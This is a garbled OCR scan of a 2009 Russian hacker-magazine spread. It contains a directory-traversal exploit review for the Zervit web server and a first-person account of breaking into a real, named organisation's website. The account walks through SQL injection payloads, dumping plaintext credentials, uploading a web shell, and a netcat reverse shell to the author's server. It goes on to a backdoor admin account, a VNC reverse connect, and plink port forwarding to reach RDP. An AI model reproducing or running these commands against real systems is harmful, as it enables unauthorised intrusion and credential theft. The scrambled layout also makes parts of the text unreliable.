книги хакеры / журнал хакер / 126_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
обзор |
обзор |
эксплоитов |
эксплоитов |
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ПРИМЕРЫДЛЯРАБОТЫСWEBDAV МОЖНОНАЙТИЗДЕСЬ
(WEBDAV.ORG/GOLIATH/DAVEXAMPLE.HTML)
2e%2e%2f — ../ %2e%2e/ — ../
..%2f — ../ %2e%2e%5c — ..\ %c1%1c — / (UTF-8) %c0%af — \ (UTF-8)
Некоторыеизпредставленныхвариантовплатформозависимыипригодныдалеконенакаждойсистеме.
>> Exploits
СамаэксплуатациясостоитвпосылкезлонамеренногоGET-запроса:
GET /../../../../../boot.ini HTTP/1.1 User-Agent: Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1
Host: localhost:80
Accept: text/html, application/xml;q=0.9, application/ xhtml+xml, image/png, image/jpeg, image/gif, image/x- xbitmap, */*;q=0.1
Accept-Language: en-US,en;q=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Connection: Keep-Alive, TE
TE: deflate, gzip, chunked, identity, trailers
Ответ:
HTTP/1.1 200 OK
Server: Zervit 0.4
X-Powered-By: Carbono
Connection: close
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 355
[boot loader] timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /NOEXECUTE=OPTIN /FASTDETECT
Естественно, вместообращениякboot.ini, моглибыбыть:
1.Конфигурационныйфайлхостинг-панелиCpanel — /var/cpanel/ cpanel.config.
2.ФайлнастроекфункционированияPHP — PHP\php.ini.
../../../../../../../../../WINDOWS\php.ini
../../../../../../../../../WINNT\php.ini
../../../../../../../../../apache\php\php.ini
../../../../../../../../../xampp\apache\bin\php.ini
3.httpd.conf — файлописанияопцийWEB-сервераApache (+ егопроиз-
водных).
../../../../../../../../../Program Files\Apache Group\ Apache\conf\httpd.conf
../../../../../../../../../Program Files\Apache Group\ Apache2\conf\httpd.conf
../../../../../../../../../Program Files\xampp\apache\ conf\httpd.conf
4.Логидоступаиошибок.
../../../../../../../../../../Program Files\Apache
Group\Apache\logs\access.log
../../../../../../../../../../Program Files\Apache
Group\Apache\logs\error.log
Избыточныйсписокпутейконфиговинаиболееважныхдлянеавторизированногопросмотрафайловможнонайтивподборкеettee (antichat.ru/ thread49775.html). Вадвайзори, котороебылоопубликованонаmilw0rm, говорилосьоMemory Corruption потакойсхеме:
import socket
host = "127.0.0.1" port = 8080
try:
for i in range(1,10):
# организуем десятикратное повторение заброса WEB-сервера POST-запросами с большим буфером
buff = "a" * 3330
request = "POST " + buff + " HTTP/1.0" connection = socket.socket(socket.AF_INET,
socket.SOCK_STREAM) connection.connect((host, port)) connection.send(request)
except:
raw_input('\n\nUnable to connect. Press "Enter» to quit...')
Рассматриваяпроблемуближе, приведудетальныйанализ, почемуже такполучается.
Вотисходники:
Http.h:
69 struct http_data{
70SOCKET sck;
71char file[512];
72char keep_alive;
73char data[2048];
74char user_agent[512];
75unsigned long ptr;
76};
Http.c:
13 void parse_http(struct http_data *msgs)
14{
...
21 if(strcmp(ch,"GET")==0){
...
24ch=get_word(msgs);
25strcpy(msgs->file,ch);
Типичноеиспользованиенебезопаснойфункцииstrcpy ибуферамалого размера! Этовсеобъясняет.z
XÀÊÅÐ 06 /126/ 09 |
047 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
M0R0 |
MUXX |
/ M0R0@INBOX.RU / |
/ MUXX@BK.RU / |
КЛАССИКА
ПРОНИКНОВЕНИЯ
ОТ ИНЪЕКЦИИ КАДМИНСКОМУ ДОСТУПУПО RDP
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Любойвзломпреследуетцель, котораяопределяетегоценность. Задефейситьсайтдлялатентныхлюбителейклубничкиилипоиметь очереднойрутовыйшелл— решатьтебе. Реалиитаковы, чтолюбая уязвимостьвweb-приложениитаитугрозудлясервера. Иеслитыне ограничиваешьсябанальнымииужеслегкаподнадоевшимиSQLинъекциями— статьядлятебя. Навходеадресжертвы, навыходе админскийдоступпоRDP — классикапроникновения!
>> взлом
ПРЕЛЮДИЯ, ИЛИКАКВСЕНАЧИНАЛОСЬ
Аначиналосьвсебанально. СначалабылURL. Кому-тоэтотURL былпочему-тооченьинтересен, инадобылоглянуть, чтоснимможносделать. URL сразупопалклису, которыйбыстровыдал результат: институтилитипатого, кучассылок, новости, менюипрочаялабуда. Мышьбыстроперескакивалапоссылкам, инастроение потихонькуподнималось. Мневсегданравились сайтысбольшимколичествомзнаковвопроса, параметрамитипаid ичисловымизначениями влинках... Аздесьихбыло, прямоскажем, не меньше, чеммусоранасвалках.
Глянувнаиконкулюбимогосканераиухмыльнувшись, ярешилвсе-такиненапрягатьадминов, аобратитьсякВеликомуИндексуирешитьвсе
тихоимирно. Итак, заветнаяфраза«insite:ism. ws», кнопкаSearch и… можносчитать, чтодело сделано?
Порядка10000 результатовотGoogle обещали кропотливуюработу. Лисбыстрообзавелся вкладками, вкоторыеполетеливсякиекавычки, равенства, дефисыипрочаянечисть.
ГЛАВА1, ИЛИВСЕМЫГРЕШНЫ
Практикапоказывает, чтопочтилюбойкрупныйресурсимеетинъекции. Хотьмаленькая, незрячаяифильтруемаяинъекция, ноесть наверняка. Надолишьприсмотреться. Воти здесьзаветныйплодбылнайденпоадресу http://www.ism.ws/Applications/Forms/ FormDisplay.cfm?FormID=8464.
Всеоказалосьнастолькотривиально, чтоневозникалонитенисомнениявуспешностидальнейшихдействий. Привычнаясине-сераястраница ошибкиColdFusion, представшаяпередглазами, открылавзоруиполныйSQL-запрос, итип СУБД(SQL Server), илокальныйадресскрипта. Вообще, информативностьошибок, выдаваемых ColdFusion, простопоражает— дажеполныйстек вызовов, бери, нехочу. Инъекциянайдена, пора приступатьквнедрению.
ГЛАВА2, ИЛИДАЗДРАВСТВУЮТ ОШИБКИ
СерверБДотмелкомягкихвсегдапоражалвозможностями. Янеговорюостандартах, которые, вобщем-то, всеразработчикиСУБДтрактуютпо-
048 |
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ИНЪЕКЦИЯ НАЙДЕНА!
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
разному. НопарниизMicrosoft, вообще, каким-то своим, неведомымпутемидут. Мне, например, нравитсяработатьсSQL Server. Ненадониколичествоколонокподбирать, ниихтипы— ошибку напреобразованиевызвал, ивответевсяинформацияизбазы, какнаблюдечке. Оченьудобно! Сначалапроверяемвозможностьвывода:
http://www.ism.ws/
Applications/Forms/FormDisplay.
cfm?FormID=8464+or+1=(select+@@ version%2bchar(58)%2bdb_ name()%2bchar(58)%2bsystem_ user%2bchar(58)%2b@@servername)--
Вответполучаемошибку:
[Macromedia][SQLServer JDBC Driver] [SQLServer]Syntax error converting the nvarchar value ‘Microsoft SQL Server 2000 - 8.00.2050 (Intel X86) Mar 7 2008 21:29:56 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) :RDCMS- ISM-Core:rms:ISMSQL01’ to a column of data type int.
ИмеемсервернепервойсвежестиибазуRDCMS- ISM-Core.Внимательноприсмотревшись,ябук- вальноподпрыгнулотрадости:аббревиатураCMS явнодавалапонять,чтосайтикненаколенках сварганен,ацелаябольшаяиуважаемаяконтора эточудонаписалаибабласрубила.Нообэтом позже.АсейчаснаочередиструктураБД.
НаэтомэтапемнедетищеMicrosoft нравится уженетаксильно. Малотого, чторазработчики неудосужилисьсделатьнормальныйпейджинг результатов, такещеиrow_number в2000 серверереализоватьнеуспели. Ждетнасжесткая эротическаяпрогулкасиспользованиемтоповой конструкции. TOP — этотакаяфишка, которая позволяетполучитьпервыенесколькозаписей позапросу. Авотскакойзаписиначинать, указать
невозможно, чтовусловияхнашегонереальноговзломанусовсемникакнеудобно. Можно, конечно, пойтистандартнымпутем: получатьпо однойзаписи, запоминатьиявноисключатьиз следующихзапросов. Номнеэтотметодсовсем невкайф: иавтоматизациитрудноподдается, даидлинаURL нерезиновая— длябольшихбаз накроетнасмеднымтазом. Поэтомумывсехобманем.Сортируемвверхи
вниз—получаемприемлемыйпейджинг.Сервак пощадимидобавимусловиянапроверкуназваний полей—пустьонипароликакие-нибудьсодержат. Нуадлятого,чтобысовсемкрутобыло,определим дляначалаихколичество(примерызапросов смотривоврезке).Воттаквот—их9.Поехали! СразубросиласьвглазатабличкаES_LoginInfo (RDCMS-ISM-Core : dbo : ES_LoginInfo : Password). Вобщем-то, можнопотиратьрукии заказыватьпиццу, нонетут-тобыло. Определив структурутаблицы, яполучилследующуюкартину. Втаблицеприсутствовалотриинтересныхполя:
EntityID, Username иPassword. Думаю, объяснять ненадо, чтоябыстросоставилновуюсерию запросовимоимглазампредсталиданныеюзверей. Паролихранилисьвоткрытомвидеиможно былосломяголовукидатьсянасайтвпоисках заветнойадминки. Я, кстати, когдадобралсядо исходников, долгоитуповтыкал, почемунельзя былошифроватьпароли, еслипарни-разработ- чикиCMS этопредусмотрели(SHA-1, SHA-512, MD5) идажереализовалисобственныйалгоритм (iMIS). Нудаладно, язалогинился, пошарилпо сайтуивернулсякдампуструктурыБД— ещежев 8 таблицахбылиполяспаролями.
ГЛАВА3, ИЛИДОСТУПОТКРЫТ
СледующейпривлеклавниманиетаблицаSM_ Sites, содержащаяколонкуснезамысловатым названиемFTPPassword. Какоказалось, таблица содержалатакжеколонкиFTPUserName и FTPServer. Сливданныеизтаблицы, яувидел, что
вкачествесерверовиспользовалисьftp.rd.net
иftp2.rd.net. Поадресуrd.net какразихостится
сайтразработчиков, асамаCMS, оказалось, носитгордоеназваниеResults Direct. Зачемв базехранитьучетныеданные, ятакинедогнал, нокftp ониреальноподходили. Аучетнаязапись сименемism.ws.prod.code ивовсенавевала радужныемысли, которые, кслову, быстро подтвердились. КореньFTP былоченьпохожна кореньсамогосайта. Послетестированиядоступностинесколькихскриптовфактотображения папокифайловбылокончательноустановлен. ДоступпоFTP открывалширочайшиеперспективыпозаливкефайловнасервериизбавлялот, казалось, неминуемыхприключенийпораскопке функционалаадминкиипоискавозможностей полученияшелла.
ГЛАВА4, ИЛИХОЛОДНЫЙСПЛАВ
ЧтоделатьсFTP, полагаю, вопросовниукого невызывает. Наумсразуприходитобеспечить выполнениекоманднасервакеивыбраться, наконец, насвободуиздушныхобъятий web-приложения. Очевидно, нуженвеб-shell, которыйпозволитбродитьпосерверуивыполнятькоманды. Новотбеда— никакихследов PHP или, нахудойконец, Perl обнаружено
небыло. Азначит, моментистинынаступил: придетсяпрограммитьнаColdFusion. Очень гибкаяипростаявосвоениисреда(пословам разработчиков), номнепочему-тониразуне нравится. Такчто, гуглимнатемуWeb-shell’ов идикообламываемся. Всессылкиприводят кодномуитомуженевзрачномукусочкукода, которыйтолькокомандыисполнятьиумеет. Ну даладно, сейчасподточимиподпишем, нужно лишьматчастьподнять. Некотороевремяушло нанереальнокрутуюразработку, послечего насветпоявилисьдваотпрыска. Первыйнас водитподирамифайлыпоказывает, второй насслушаетиделает, чтомыприкажем. Файлыбыстрозанялисвоезаконноеместо. Вскореяпонял, чтовладеюправамиучеткиSYSTEM, аэтобылонереальнокруто. Останавливатьсяна достигнутомбылонельзя.
XÀÊÅÐ 06 /126/ 09 |
049 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
||||
w Click |
to |
|
|
|
взлом |
||||||
|
|
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
КОРЕНЬFTP ОЧЕНЬНАПОМИНАЕТКОРЕНЬСАМОГО САЙТА
ГЛАВА5, ИЛИЧЕРНЫЙБРАТ
Web-shell — это, конечно, здорово, нововсенетакудобно, какможет показаться. Надобратьбыказарогаиполучатьнормальнуюконсоль. Total послушнозабросилnetcatнаFTP. Надедикебылзапущенnetcatврежиме прослушивания: «nc.exe –l –p 1234». Назарядкувшеллепоставлена команда«cmd /c nc.exe m0r0superdedik.com 1234 –e cmd». Выстрелсделан
— шеллвконсоли! Пошаривпофайловойсистемеизапустивсдесяток интересныхутилиток, япринялрешение, чтоВиндабезокон— этозло. В 99-мгодумонадыещенепоявились, ставитьчто-тобылозападло, арулить сервакомпочему-тобыловообщеникакнеудобно. Netstat показалживой
Как же устроить пейджинг?
ПолучитьвседанныеизБДзаодинзапрос— мечталюбогохакера. Ножизньдиктуетсвоиусловияи, какправило, взломщиквынужден выуживатьинформациюстрочказастрочкой. Новотбеда, разработчикиСУБДрешилиситуациюусугубить, причемкаждыйпо-своему. Итак, осхемахпейджингаданных.
1.MySQL. Предлагаетконструкциюlimit [offset, ]rowcount. Выбираем rowcount (внашемслучае1) строк, начинаясострокиoffset. Гениально, простомолодцы!
2.Oracle. Используемпсевдостолбецrownum. Проблемавтом, что rownum генерируетсяавтоматически, инельзя, кпримеру, выставитьусловиетипаrownum=n. Такойзапросвернетпустойрезультат. Безподзапросовздесьнеобойтись: select fieldname from
(select a.fieldname, rownum r from (select fieldname
from tablename) as a where r=<offset>)
3.SQL Server 2005. Здесьвсепостандарту: используемrow_ number(). Например: select field1, field2 from (select
row_number() over (order by a.field1) as r, a.field1, a.field2 from (select field1, field2 from tablename)
as a) as b where r=<offset>.
4.SQL Server 2000. Авотздесьвсежестко: унасестьтолькоTOP. Дляпейджингаприменимтакуюхитрость: еслинамнужновыбрать записьсномеромoffset, мысначалавыберемTOP <offset> записейс восходящейсортировкой, аужеизполученногорезультатавыберем первуюзаписьснисходящей. Врезультатепоследняястрокастанет первойи… делосделано. Толькопомни, дляполучениякорректного результатасортироватьнужноповсемполямвзапросе!
ПОЧЕМУНЕШИФРОВАЛИСЬПАРОЛИ, ОСТАЛОСЬЗАГАДКОЙ
порт3389, иглазамоирадостнозаблестели. Вшеллпосыпалисьочень важныеинужныекоманды.
net user st password /add
net localgroup Administrators st /add
Запускmstsc,темнеменее,жесткообламывал,выдаваясообщениеонедоступностихоста.NMAPобламывалещебольше,таккакоткрытымиоказались только80и25порты.Видимо,хостбылзащищенфаеромипорт3389тривиальноблокировался.Сдаватьсянехотелось,поэтомубылбыстросоставлен переченьвозможныхспособовполученияграфическогоинтерфейса:
•VNC;
•PPTP;
•SSH.
ГЛАВА6, ИЛИПРИВЕТ, ОКОШКИ
Основнаяпроблемазаключаласьворганизацииобратногоконнектана нашдедик. Опытсnetcat яснодавалпонять, чтопортыблокируютсятолько навходящиесоединения, поэтомуорганизацияобратногоконнектаот какой-нибудьграфическойсистемыуправлениянавернякадалабы
Ручное VS автоматическое
Поискуязвимостейнасайте, вцелом, сводитсякдвумпунктам:
•инвентаризацияскриптовиихпараметров;
•фаззингпринимаемыхотпользователяданных.
Решениеэтихзадач, впринципе, поддаетсяавтоматизации, нона поверкуоказывается, чтоединственнымстоящимсканеромявляетсяAccunetix. Всеостальные, втомчислеивсюдураспиаренный XSpider, работаюткрайнемедленноипропускаютогромноеколичествоинъекций. Крометого, любойсканерсерьезнонапрягает сайт, выдаваяхакераспотрохами.
Зачемжепользоватьсясканерами, еслибольшуючастьработыза насужесделалиребятаизGoogle. Предоставляягибкиеправила созданиязапросов, Google позволяетполучитьструктурусайтана основесвоегоиндекса, аужналичиеинъекцийбыстропроверяется вручную. Тихоинезаметно. Авотеслиничегонайтинеудалось, можноприбегнутьиксканеру. Толькомысоветуемнепользоватьсяплатнымирешениямидляламеров, анаписатьсобственного маленькогомногопоточногозверька.
050 |
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ВОТОНА— ЗАВЕТНАЯКОНСОЛЬ
РУЛИМСЕРВЕРОМПОRDP — ЦЕЛЬДОСТИГНУТА
возможностьрулитьсерваком. Естественно, выборпална VNC. СхемавнедренияVNC, вцелом, достаточнопроста(для
TightVNC, например):
1.На сервак заливаются winvnc.exe и wm_hooks. dll.
2.Устанавливается и запускается VNC-сервер. winvnc.exe –install
net start "VNC Server"
3.На дедике запускается клиент в режиме прослушивания.
4.Осуществляется реверс-коннект.
winvnc.exe –connect <host>:<port>.
Унаспочтивсесхвачено, кромеодноймаленькойдетали, а именно— наличиядоступакрабочемустолу. Надеждаумирала, едвауспевродиться, таккакшеллунасбылсправами учетнойзаписиSYSTEM. Небылибымыхакерами, если бынепопробовали, но, какиожидалось, всепопыткишли лесом. БылдажеиспробованMetasploit сwindows/vncinject/ reverse_tcp нагрузкой(жуткотормознаявещь), ноиВеликий Фреймворкнепомог. ПринципвнедренияVNC насервер
посредствомнеинтерактивногошеллаивусловияхотсутствия доступакрабочемустолуосталсяневедом. Насамомделе, я дажеобрадовался— зачемнамVNC, еслиестьRDP. Надотолькопробитьсячерезфаер.
ГениальнаямысльсPPTP заключаетсявсоздании PPTP-соединениядонашегодедика— ивдальнейшем обращениикузлуповнутреннейадресациистуннелированиемтрафикасквозьфаер. ВВиндевсесоединения настраиваютсяграфически, нодолженбытьспособработы изконсоли. Запускаемнатестовоймашинеprocmon от Руссиновичаимониторимреестрвмоментвызоваклиента подключенияксети. Результатнеподдаетсяразумному объяснению, — ничегоинтересногосреестромнепроисходит. Microsoft самасебяпревзошла. Стоилосоздавать реестр, еслисобственныежемодулиимнепользуются. Пустьподумаютнадосуге, амы, темвременем, нашли
«телефоннуюкнигу» поадресуC:\Documents and Settings\ All Users\Application Data\Microsoft\Network\Connections\ Pbk\rasphone.pbk, вкоторой, собственно, иописываются параметрыподключениякDial-up иVPN-сетям. Создаем подключениекдедику(сустановленнойинастроенной службойRRAS) натестовоймашинеикопируемполучен-
ныйфайлrasphone.pbk навзломанныйхост. Затемсоздаемкомандныйфайлследующегосодержания:
rasdial connection_name user password route add 0.0.0.0 mask 0.0.0.0 remotehostgateway
Втораястрочканужнадлявосстановлениямаршрутапоумолчаниюпослеподключения, чтобынашдедикневзялнасебя всеобязательствапомаршрутизациитрафика. Запускаем батникивыпадаемвосадок:). Соединениянамневидать, как своихушей, видимо, фаерблокируетисходящиесоединения наосноветипапротокола. ВчерныйсписокпопалинашGREтрафик.
Отчаяниевсесильнеепроникаловнашидуши, номыне сдались. Поправде, тупилимыоченьдолго, таккакнадобыло сразуобращатьсязапомощьюкSSH. Это, кстати, оченьмощныйзверь, очемнеразписалосьвz. Нетолькошеллможно получить, ноимногодругиххитрыхвещейпридумать. Наша последняянадеждазаключаласьвуспешнойреализации всеготрехшагов:
•запустить на дедике SSH-сервер
•залить на узел SSH-клиент
•подключиться и создать нужный маппинг портов
Ямногоемогупонять, но, например, почемувВиндев
XXI векедосихпорнетвстроенногоSSH-сервера, мне неведомо. Нудаладно, ставимлюбой, благоихдовольно много. Вкачествеклиента, естественно, используется любимыйputty. Нотолькоputty непростой, аволшебный. Еслипомнишь, приобращениикновомуузлуputty честно предлагаетсохранитьсигнатурувкэше. Доступккоманднойстрокеунасинтерактивностьюнеотличается, иничего мыответитьнаэтотвопроспопростунесможем. Значит, надо, чтобыотпечатоксохранялсяавтоматически, аputty этогонеумеет. Немногопогуглив, мынашлиQuest PuTTY 0.60_q1.129. Всетожесамое, плюсто, чтонамнужно! Заливаемplink.exe насервакиисполняемкоманду:
plink.exe -nc m0r0superdedik.com:22 -batch -pw password -R 3390:127.0.0.1:3389 -L 3390:127.0.0.1:3390 -l st -auto_store_key_in_ cache m0r0superdedik
DVD |
dvd
Нанашемдискетебя ждутисходникипро-
стогоweb-shell’адля сайтовподуправле-
ниемColdFusion.
HTTP://WWW
links
Дляавтоматизации поискауязвимостей можешьвоспользоватьсяследующими продуктами:
•acunetix.com/ vulnerability-scanner/
— Accunetix Web Vulnerability Scanner.
•ptsecurity.ru/xs7.asp
— Xspider.
•cirt.net/nikto2 — Nikto.
•sensepost.com/ research/wikto — Wikto.
XÀÊÅÐ 06 /126/ 09 |
051 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|
||
|
|
X |
|
|
|
|
|
||
|
- |
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
BUY |
>>m |
|
||
w Click |
to |
|
|
взлом |
|||||
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
-xcha |
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
